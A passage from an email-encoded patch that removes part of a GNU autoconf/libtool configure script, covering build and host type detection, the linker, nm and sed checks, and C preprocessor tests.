1); exit 1; }; } - -echo "$as_me:$LINENO: checking build system type" >&5 -echo $ECHO_N "checking build system type... $ECHO_C" >&6 -if test "${ac_cv_build+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_cv_build_alias=3D$build_alias -test -z "$ac_cv_build_alias" && - ac_cv_build_alias=3D`$ac_config_guess` -test -z "$ac_cv_build_alias" && - { { echo "$as_me:$LINENO: error: cannot guess build type; you must s= pecify one" >&5 -echo "$as_me: error: cannot guess build type; you must specify one" >&= 2;} - { (exit 1); exit 1; }; } -ac_cv_build=3D`$ac_config_sub $ac_cv_build_alias` || - { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_build_alias f= ailed" >&5 -echo "$as_me: error: $ac_config_sub $ac_cv_build_alias failed" >&2;} - { (exit 1); exit 1; }; } - -fi -echo "$as_me:$LINENO: result: $ac_cv_build" >&5 -echo "${ECHO_T}$ac_cv_build" >&6 -build=3D$ac_cv_build -build_cpu=3D`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\= 1/'` -build_vendor=3D`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)= $/\2/'` -build_os=3D`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3= /'` - - -echo "$as_me:$LINENO: checking host system type" >&5 -echo $ECHO_N "checking host system type... $ECHO_C" >&6 -if test "${ac_cv_host+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_cv_host_alias=3D$host_alias -test -z "$ac_cv_host_alias" && - ac_cv_host_alias=3D$ac_cv_build_alias -ac_cv_host=3D`$ac_config_sub $ac_cv_host_alias` || - { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_host_alias fa= iled" >&5 -echo "$as_me: error: $ac_config_sub $ac_cv_host_alias failed" >&2;} - { (exit 1); exit 1; }; } - -fi -echo "$as_me:$LINENO: result: $ac_cv_host" >&5 -echo "${ECHO_T}$ac_cv_host" >&6 -host=3D$ac_cv_host -host_cpu=3D`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/= '` -host_vendor=3D`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/= \2/'` -host_os=3D`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'= ` - - -echo "$as_me:$LINENO: checking for a sed that does not truncate output= " >&5 -echo $ECHO_N "checking for a sed that does not truncate output... $ECH= O_C" >&6 -if test "${lt_cv_path_SED+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - # Loop through the user's path and test for sed and gsed. -# Then use that list of sed's as ones to test for truncation. -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for lt_ac_prog in sed gsed; do - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then - lt_ac_sed_list=3D"$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_= ext" - fi - done - done -done -lt_ac_max=3D0 -lt_ac_count=3D0 -# Add /usr/xpg4/bin/sed as it is typically found on Solaris -# along with /bin/sed that truncates output. -for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do - test ! -f $lt_ac_sed && break - cat /dev/null > conftest.in - lt_ac_count=3D0 - echo $ECHO_N "0123456789$ECHO_C" >conftest.in - # Check for GNU sed and select it if it is found. - if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null;= then - lt_cv_path_SED=3D$lt_ac_sed - break - fi - while true; do - cat conftest.in conftest.in >conftest.tmp - mv conftest.tmp conftest.in - cp conftest.in conftest.nl - echo >>conftest.nl - $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break - cmp -s conftest.out conftest.nl || break - # 10000 chars as input seems more than enough - test $lt_ac_count -gt 10 && break - lt_ac_count=3D`expr $lt_ac_count + 1` - if test $lt_ac_count -gt $lt_ac_max; then - lt_ac_max=3D$lt_ac_count - lt_cv_path_SED=3D$lt_ac_sed - fi - done -done - -fi - -SED=3D$lt_cv_path_SED -echo "$as_me:$LINENO: result: $SED" >&5 -echo "${ECHO_T}$SED" >&6 - -echo "$as_me:$LINENO: checking for egrep" >&5 -echo $ECHO_N "checking for egrep... $ECHO_C" >&6 -if test "${ac_cv_prog_egrep+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if echo a | (grep -E '(a|b)') >/dev/null 2>&1 - then ac_cv_prog_egrep=3D'grep -E' - else ac_cv_prog_egrep=3D'egrep' - fi -fi -echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5 -echo "${ECHO_T}$ac_cv_prog_egrep" >&6 - EGREP=3D$ac_cv_prog_egrep - - - -# Check whether --with-gnu-ld or --without-gnu-ld was given. -if test "${with_gnu_ld+set}" =3D set; then - withval=3D"$with_gnu_ld" - test "$withval" =3D no || with_gnu_ld=3Dyes -else - with_gnu_ld=3Dno -fi; -ac_prog=3Dld -if test "$GCC" =3D yes; then - # Check if gcc -print-prog-name=3Dld gives a path. - echo "$as_me:$LINENO: checking for ld used by $CC" >&5 -echo $ECHO_N "checking for ld used by $CC... $ECHO_C" >&6 - case $host in - *-*-mingw*) - # gcc leaves a trailing carriage return which upsets mingw - ac_prog=3D`($CC -print-prog-name=3Dld) 2>&5 | tr -d '\015'` ;; - *) - ac_prog=3D`($CC -print-prog-name=3Dld) 2>&5` ;; - esac - case $ac_prog in - # Accept absolute paths. - [\\/]* | ?:[\\/]*) - re_direlt=3D'/[^/][^/]*/\.\./' - # Canonicalize the pathname of ld - ac_prog=3D`echo $ac_prog| $SED 's%\\\\%/%g'` - while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do -=09ac_prog=3D`echo $ac_prog| $SED "s%$re_direlt%/%"` - done - test -z "$LD" && LD=3D"$ac_prog" - ;; - "") - # If it fails, then pretend we aren't using GCC. - ac_prog=3Dld - ;; - *) - # If it is relative, then search for the first ld in PATH. - with_gnu_ld=3Dunknown - ;; - esac -elif test "$with_gnu_ld" =3D yes; then - echo "$as_me:$LINENO: checking for GNU ld" >&5 -echo $ECHO_N "checking for GNU ld... $ECHO_C" >&6 -else - echo "$as_me:$LINENO: checking for non-GNU ld" >&5 -echo $ECHO_N "checking for non-GNU ld... $ECHO_C" >&6 -fi -if test "${lt_cv_path_LD+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -z "$LD"; then - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - for ac_dir in $PATH; do - IFS=3D"$lt_save_ifs" - test -z "$ac_dir" && ac_dir=3D. - if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exee= xt"; then - lt_cv_path_LD=3D"$ac_dir/$ac_prog" - # Check to see if the program is GNU ld. I'd rather use --versi= on, - # but apparently some GNU ld's only accept -v. - # Break only if it was the GNU/non-GNU ld that we prefer. - case `"$lt_cv_path_LD" -v 2>&1 &5 -echo "${ECHO_T}$LD" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi -test -z "$LD" && { { echo "$as_me:$LINENO: error: no acceptable ld fou= nd in \$PATH" >&5 -echo "$as_me: error: no acceptable ld found in \$PATH" >&2;} - { (exit 1); exit 1; }; } -echo "$as_me:$LINENO: checking if the linker ($LD) is GNU ld" >&5 -echo $ECHO_N "checking if the linker ($LD) is GNU ld... $ECHO_C" >&6 -if test "${lt_cv_prog_gnu_ld+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - # I'd rather use --version here, but apparently some GNU ld's only a= ccept -v. -case `$LD -v 2>&1 &5 -echo "${ECHO_T}$lt_cv_prog_gnu_ld" >&6 -with_gnu_ld=3D$lt_cv_prog_gnu_ld - - -echo "$as_me:$LINENO: checking for $LD option to reload object files" = >&5 -echo $ECHO_N "checking for $LD option to reload object files... $ECHO_= C" >&6 -if test "${lt_cv_ld_reload_flag+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_cv_ld_reload_flag=3D'-r' -fi -echo "$as_me:$LINENO: result: $lt_cv_ld_reload_flag" >&5 -echo "${ECHO_T}$lt_cv_ld_reload_flag" >&6 -reload_flag=3D$lt_cv_ld_reload_flag -case $reload_flag in -"" | " "*) ;; -*) reload_flag=3D" $reload_flag" ;; -esac -reload_cmds=3D'$LD$reload_flag -o $output$reload_objs' -case $host_os in - darwin*) - if test "$GCC" =3D yes; then - reload_cmds=3D'$CC -nostdlib ${wl}-r -o $output$reload_objs' - else - reload_cmds=3D'$LD$reload_flag -o $output$reload_objs' - fi - ;; -esac - -echo "$as_me:$LINENO: checking for BSD-compatible nm" >&5 -echo $ECHO_N "checking for BSD-compatible nm... $ECHO_C" >&6 -if test "${lt_cv_path_NM+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$NM"; then - # Let the user override the test. - lt_cv_path_NM=3D"$NM" -else - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - for ac_dir in $PATH /usr/ccs/bin /usr/ucb /bin; do - IFS=3D"$lt_save_ifs" - test -z "$ac_dir" && ac_dir=3D. - tmp_nm=3D"$ac_dir/${ac_tool_prefix}nm" - if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then - # Check to see if the nm accepts a BSD-compat flag. - # Adding the `sed 1q' prevents false positives on HP-UX, which s= ays: - # nm: unknown option "B" ignored - # Tru64's nm complains that /dev/null is an invalid object file - case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in - */dev/null* | *'Invalid file or object type'*) -=09lt_cv_path_NM=3D"$tmp_nm -B" -=09break - ;; - *) -=09case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in -=09*/dev/null*) -=09 lt_cv_path_NM=3D"$tmp_nm -p" -=09 break -=09 ;; -=09*) -=09 lt_cv_path_NM=3D${lt_cv_path_NM=3D"$tmp_nm"} # keep the first mat= ch, but -=09 continue # so that we can try to find one that supports BSD flags -=09 ;; -=09esac - esac - fi - done - IFS=3D"$lt_save_ifs" - test -z "$lt_cv_path_NM" && lt_cv_path_NM=3Dnm -fi -fi -echo "$as_me:$LINENO: result: $lt_cv_path_NM" >&5 -echo "${ECHO_T}$lt_cv_path_NM" >&6 -NM=3D"$lt_cv_path_NM" - -echo "$as_me:$LINENO: checking whether ln -s works" >&5 -echo $ECHO_N "checking whether ln -s works... $ECHO_C" >&6 -LN_S=3D$as_ln_s -if test "$LN_S" =3D "ln -s"; then - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 -else - echo "$as_me:$LINENO: result: no, using $LN_S" >&5 -echo "${ECHO_T}no, using $LN_S" >&6 -fi - -echo "$as_me:$LINENO: checking how to recognise dependent libraries" >= &5 -echo $ECHO_N "checking how to recognise dependent libraries... $ECHO_C= " >&6 -if test "${lt_cv_deplibs_check_method+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_cv_file_magic_cmd=3D'$MAGIC_CMD' -lt_cv_file_magic_test_file=3D -lt_cv_deplibs_check_method=3D'unknown' -# Need to set the preceding variable on all platforms that support -# interlibrary dependencies. -# 'none' -- dependencies not supported. -# `unknown' -- same as none, but documents that we really don't know. -# 'pass_all' -- all dependencies passed with no checks. -# 'test_compile' -- check by making test program. -# 'file_magic [[regex]]' -- check by looking for files in library path -# which responds to the $file_magic_cmd with a given extended regex. -# If you have `file' or equivalent on your system and you're not sure -# whether `pass_all' will *always* work, you probably want this one. - -case $host_os in -aix4* | aix5*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -beos*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -bsdi[45]*) - lt_cv_deplibs_check_method=3D'file_magic ELF [0-9][0-9]*-bit [ML]SB = (shared object|dynamic lib)' - lt_cv_file_magic_cmd=3D'/usr/bin/file -L' - lt_cv_file_magic_test_file=3D/shlib/libc.so - ;; - -cygwin*) - # func_win32_libid is a shell function defined in ltmain.sh - lt_cv_deplibs_check_method=3D'file_magic ^x86 archive import|^x86 DL= L' - lt_cv_file_magic_cmd=3D'func_win32_libid' - ;; - -mingw* | pw32*) - # Base MSYS/MinGW do not provide the 'file' command needed by - # func_win32_libid shell function, so use a weaker test based on 'ob= jdump'. - lt_cv_deplibs_check_method=3D'file_magic file format pei*-i386(.*arc= hitecture: i386)?' - lt_cv_file_magic_cmd=3D'$OBJDUMP -f' - ;; - -darwin* | rhapsody*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -freebsd* | kfreebsd*-gnu) - if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then - case $host_cpu in - i*86 ) - # Not sure whether the presence of OpenBSD here was a mistake. - # Let's accept both of them until this is cleared up. - lt_cv_deplibs_check_method=3D'file_magic (FreeBSD|OpenBSD)/i[3-9= ]86 (compact )?demand paged shared library' - lt_cv_file_magic_cmd=3D/usr/bin/file - lt_cv_file_magic_test_file=3D`echo /usr/lib/libc.so.*` - ;; - esac - else - lt_cv_deplibs_check_method=3Dpass_all - fi - ;; - -gnu*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -hpux10.20* | hpux11*) - lt_cv_file_magic_cmd=3D/usr/bin/file - case "$host_cpu" in - ia64*) - lt_cv_deplibs_check_method=3D'file_magic (s[0-9][0-9][0-9]|ELF-[0-= 9][0-9]) shared object file - IA64' - lt_cv_file_magic_test_file=3D/usr/lib/hpux32/libc.so - ;; - hppa*64*) - lt_cv_deplibs_check_method=3D'file_magic (s[0-9][0-9][0-9]|ELF-[0-= 9][0-9]) shared object file - PA-RISC [0-9].[0-9]' - lt_cv_file_magic_test_file=3D/usr/lib/pa20_64/libc.sl - ;; - *) - lt_cv_deplibs_check_method=3D'file_magic (s[0-9][0-9][0-9]|PA-RISC= [0-9].[0-9]) shared library' - lt_cv_file_magic_test_file=3D/usr/lib/libc.sl - ;; - esac - ;; - -irix5* | irix6* | nonstopux*) - case $LD in - *-32|*"-32 ") libmagic=3D32-bit;; - *-n32|*"-n32 ") libmagic=3DN32;; - *-64|*"-64 ") libmagic=3D64-bit;; - *) libmagic=3Dnever-match;; - esac - lt_cv_deplibs_check_method=3Dpass_all - ;; - -# This must be Linux ELF. -linux*) - case $host_cpu in - alpha*|hppa*|i*86|ia64*|m68*|mips*|powerpc*|sparc*|s390*|sh*|x86_64) - lt_cv_deplibs_check_method=3Dpass_all ;; - *) - # glibc up to 2.1.1 does not perform some relocations on ARM - # this will be overridden with pass_all, but let us keep it just i= n case - lt_cv_deplibs_check_method=3D'file_magic ELF [0-9][0-9]*-bit [LM]S= B (shared object|dynamic lib )' ;; - esac - lt_cv_file_magic_test_file=3D`echo /lib/libc.so* /lib/libc-*.so` - lt_cv_deplibs_check_method=3Dpass_all - ;; - -netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then - lt_cv_deplibs_check_method=3D'match_pattern /lib[^/]+(\.so\.[0-9]+= \.[0-9]+|_pic\.a)$' - else - lt_cv_deplibs_check_method=3D'match_pattern /lib[^/]+(\.so|_pic\.a= )$' - fi - ;; - -newos6*) - lt_cv_deplibs_check_method=3D'file_magic ELF [0-9][0-9]*-bit [ML]SB = (executable|dynamic lib)' - lt_cv_file_magic_cmd=3D/usr/bin/file - lt_cv_file_magic_test_file=3D/usr/lib/libnls.so - ;; - -nto-qnx*) - lt_cv_deplibs_check_method=3Dunknown - ;; - -openbsd*) - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host= _os-$host_cpu" =3D "openbsd2.8-powerpc"; then - lt_cv_deplibs_check_method=3D'match_pattern /lib[^/]+(\.so\.[0-9]+= \.[0-9]+|\.so|_pic\.a)$' - else - lt_cv_deplibs_check_method=3D'match_pattern /lib[^/]+(\.so\.[0-9]+= \.[0-9]+|_pic\.a)$' - fi - ;; - -osf3* | osf4* | osf5*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -sco3.2v5*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -solaris*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) - case $host_vendor in - motorola) - lt_cv_deplibs_check_method=3D'file_magic ELF [0-9][0-9]*-bit [ML]S= B (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]' - lt_cv_file_magic_test_file=3D`echo /usr/lib/libc.so*` - ;; - ncr) - lt_cv_deplibs_check_method=3Dpass_all - ;; - sequent) - lt_cv_file_magic_cmd=3D'/bin/file' - lt_cv_deplibs_check_method=3D'file_magic ELF [0-9][0-9]*-bit [LM]S= B (shared object|dynamic lib )' - ;; - sni) - lt_cv_file_magic_cmd=3D'/bin/file' - lt_cv_deplibs_check_method=3D"file_magic ELF [0-9][0-9]*-bit [LM]S= B dynamic lib" - lt_cv_file_magic_test_file=3D/lib/libc.so - ;; - siemens) - lt_cv_deplibs_check_method=3Dpass_all - ;; - esac - ;; - -sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7* | sysv4*= uw2*) - lt_cv_deplibs_check_method=3Dpass_all - ;; -esac - -fi -echo "$as_me:$LINENO: result: $lt_cv_deplibs_check_method" >&5 -echo "${ECHO_T}$lt_cv_deplibs_check_method" >&6 -file_magic_cmd=3D$lt_cv_file_magic_cmd -deplibs_check_method=3D$lt_cv_deplibs_check_method -test -z "$deplibs_check_method" && deplibs_check_method=3Dunknown - - - - -# If no C compiler was specified, use CC. -LTCC=3D${LTCC-"$CC"} - -# Allow CC to be a program name with arguments. -compiler=3D$CC - - -# Check whether --enable-libtool-lock or --disable-libtool-lock was gi= ven. -if test "${enable_libtool_lock+set}" =3D set; then - enableval=3D"$enable_libtool_lock" - -fi; -test "x$enable_libtool_lock" !=3D xno && enable_libtool_lock=3Dyes - -# Some flags need to be propagated to the compiler or linker for good -# libtool support. -case $host in -ia64-*-hpux*) - # Find out which ABI we are using. - echo 'int i;' > conftest.$ac_ext - if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; then - case `/usr/bin/file conftest.$ac_objext` in - *ELF-32*) - HPUX_IA64_MODE=3D"32" - ;; - *ELF-64*) - HPUX_IA64_MODE=3D"64" - ;; - esac - fi - rm -rf conftest* - ;; -*-*-irix6*) - # Find out which ABI we are using. - echo '#line 3657 "configure"' > conftest.$ac_ext - if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; then - if test "$lt_cv_prog_gnu_ld" =3D yes; then - case `/usr/bin/file conftest.$ac_objext` in - *32-bit*) - LD=3D"${LD-ld} -melf32bsmip" - ;; - *N32*) - LD=3D"${LD-ld} -melf32bmipn32" - ;; - *64-bit*) - LD=3D"${LD-ld} -melf64bmip" - ;; - esac - else - case `/usr/bin/file conftest.$ac_objext` in - *32-bit*) - LD=3D"${LD-ld} -32" - ;; - *N32*) - LD=3D"${LD-ld} -n32" - ;; - *64-bit*) - LD=3D"${LD-ld} -64" - ;; - esac - fi - fi - rm -rf conftest* - ;; - -x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*lin= ux*) - # Find out which ABI we are using. - echo 'int i;' > conftest.$ac_ext - if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; then - case "`/usr/bin/file conftest.o`" in - *32-bit*) - case $host in - x86_64-*linux*) - LD=3D"${LD-ld} -m elf_i386" - ;; - ppc64-*linux*|powerpc64-*linux*) - LD=3D"${LD-ld} -m elf32ppclinux" - ;; - s390x-*linux*) - LD=3D"${LD-ld} -m elf_s390" - ;; - sparc64-*linux*) - LD=3D"${LD-ld} -m elf32_sparc" - ;; - esac - ;; - *64-bit*) - case $host in - x86_64-*linux*) - LD=3D"${LD-ld} -m elf_x86_64" - ;; - ppc*-*linux*|powerpc*-*linux*) - LD=3D"${LD-ld} -m elf64ppc" - ;; - s390*-*linux*) - LD=3D"${LD-ld} -m elf64_s390" - ;; - sparc*-*linux*) - LD=3D"${LD-ld} -m elf64_sparc" - ;; - esac - ;; - esac - fi - rm -rf conftest* - ;; - -*-*-sco3.2v5*) - # On SCO OpenServer 5, we need -belf to get full-featured binaries. - SAVE_CFLAGS=3D"$CFLAGS" - CFLAGS=3D"$CFLAGS -belf" - echo "$as_me:$LINENO: checking whether the C compiler needs -belf" >= &5 -echo $ECHO_N "checking whether the C compiler needs -belf... $ECHO_C" = >&6 -if test "${lt_cv_cc_needs_belf+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - lt_cv_cc_needs_belf=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -lt_cv_cc_needs_belf=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext - ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - -fi -echo "$as_me:$LINENO: result: $lt_cv_cc_needs_belf" >&5 -echo "${ECHO_T}$lt_cv_cc_needs_belf" >&6 - if test x"$lt_cv_cc_needs_belf" !=3D x"yes"; then - # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf - CFLAGS=3D"$SAVE_CFLAGS" - fi - ;; - -esac - -need_locks=3D"$enable_libtool_lock" - - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu -echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5 -echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6 -# On Suns, sometimes $CPP names a directory. -if test -n "$CPP" && test -d "$CPP"; then - CPP=3D -fi -if test -z "$CPP"; then - if test "${ac_cv_prog_CPP+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - # Double quotes because CPP needs to be expanded - for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" - do - ac_preproc_ok=3Dfalse -for ac_c_preproc_warn_flag in '' yes -do - # Use a header file that comes with gcc, so configuring glibc - # with a fresh cross-compiler works. - # Prefer to if __STDC__ is defined, since - # exists even on freestanding compilers. - # On the NeXT, cc -E runs the code through the compiler's parser, - # not just through cpp. "Syntax error" is here to catch this case. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#ifdef __STDC__ -# include -#else -# include -#endif -=09=09 Syntax error -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_c_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_c_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - : -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - # Broken: fails on valid input. -continue -fi -rm -f conftest.err conftest.$ac_ext - - # OK, works on sane cases. Now check whether non-existent headers - # can be detected and how. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_c_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_c_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - # Broken: success on invalid input. -continue -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - # Passes both tests. -ac_preproc_ok=3D: -break -fi -rm -f conftest.err conftest.$ac_ext - -done -# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. -rm -f conftest.err conftest.$ac_ext -if $ac_preproc_ok; then - break -fi - - done - ac_cv_prog_CPP=3D$CPP - -fi - CPP=3D$ac_cv_prog_CPP -else - ac_cv_prog_CPP=3D$CPP -fi -echo "$as_me:$LINENO: result: $CPP" >&5 -echo "${ECHO_T}$CPP" >&6 -ac_preproc_ok=3Dfalse -for ac_c_preproc_warn_flag in '' yes -do - # Use a header file that comes with gcc, so configuring glibc - # with a fresh cross-compiler works. - # Prefer to if __STDC__ is defined, since - # exists even on freestanding compilers. - # On the NeXT, cc -E runs the code through the compiler's parser, - # not just through cpp. "Syntax error" is here to catch this case. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#ifdef __STDC__ -# include -#else -# include -#endif -=09=09 Syntax error -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_c_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_c_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - : -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - # Broken: fails on valid input. -continue -fi -rm -f conftest.err conftest.$ac_ext - - # OK, works on sane cases. Now check whether non-existent headers - # can be detected and how. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_c_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_c_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - # Broken: success on invalid 